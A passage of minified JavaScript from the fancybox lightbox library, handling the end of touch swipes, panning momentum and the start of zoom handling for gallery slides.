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e=this,o=!1;e.instance.isSliding=!1,e.sliderLastPos=null,"y"==t&&Math.abs(e.distanceY)>50?(n.fancybox.animate(e.instance.current.$slide,{top:e.sliderStartPos.top+e.distanceY+150*e.velocityY,opacity:0},150),o=e.instance.close(!0,300)):"x"==t&&e.distanceX>50&&e.instance.group.length>1?o=e.instance.previous(e.speedX):"x"==t&&e.distanceX<-50&&e.instance.group.length>1&&(o=e.instance.next(e.speedX)),o!==!1||"x"!=t&&"y"!=t||e.instance.jumpTo(e.instance.current.index,150),e.$container.removeClass("fancybox-is-sliding")},u.prototype.endPanning=function(){var t,e,o,i=this;i.contentLastPos&&(i.instance.current.opts.touch.momentum===!1?(t=i.contentLastPos.left,e=i.contentLastPos.top):(t=i.contentLastPos.left+i.velocityX*i.speed,e=i.contentLastPos.top+i.velocityY*i.speed),o=i.limitPosition(t,e,i.contentStartPos.width,i.contentStartPos.height),o.width=i.contentStartPos.width,o.height=i.contentStartPos.height,n.fancybox.animate(i.$content,o,330))},u.prototype.endZooming=function(){var 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